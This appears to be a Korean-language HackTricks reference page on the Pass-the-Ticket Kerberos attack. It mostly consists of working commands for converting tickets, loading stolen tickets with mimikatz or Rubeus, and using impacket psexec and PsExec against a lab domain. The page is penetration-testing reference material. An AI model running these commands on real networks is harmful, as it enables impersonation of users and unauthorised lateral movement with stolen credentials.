Pass the Ticket

Tip

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Pass The Ticket (PTT)

Pass The Ticket (PTT) ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์—์„œ ๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž์˜ ์ธ์ฆ ํ‹ฐ์ผ“์„ ํ›”์นฉ๋‹ˆ๋‹ค. ์ด ํ›”์นœ ํ‹ฐ์ผ“์€ ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜์–ด ๋„คํŠธ์›Œํฌ ๋‚ด์˜ ๋ฆฌ์†Œ์Šค์™€ ์„œ๋น„์Šค์— ๋ฌด๋‹จ์œผ๋กœ ์ ‘๊ทผํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ฝ๊ธฐ:

ํ”Œ๋žซํผ ๊ฐ„ Linux์™€ Windows ํ‹ฐ์ผ“ ๊ตํ™˜ํ•˜๊ธฐ

ticket_converter ๋„๊ตฌ๋Š” ํ‹ฐ์ผ“ ์ž์ฒด์™€ ์ถœ๋ ฅ ํŒŒ์ผ๋งŒ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ‹ฐ์ผ“ ํ˜•์‹์„ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi

python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

Windows์—์„œ Kekeo๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Pass The Ticket Attack

export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass
#Load the ticket in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi
klist #List tickets in cache to cehck that mimikatz has loaded the ticket
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd

์ฐธ๊ณ  ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

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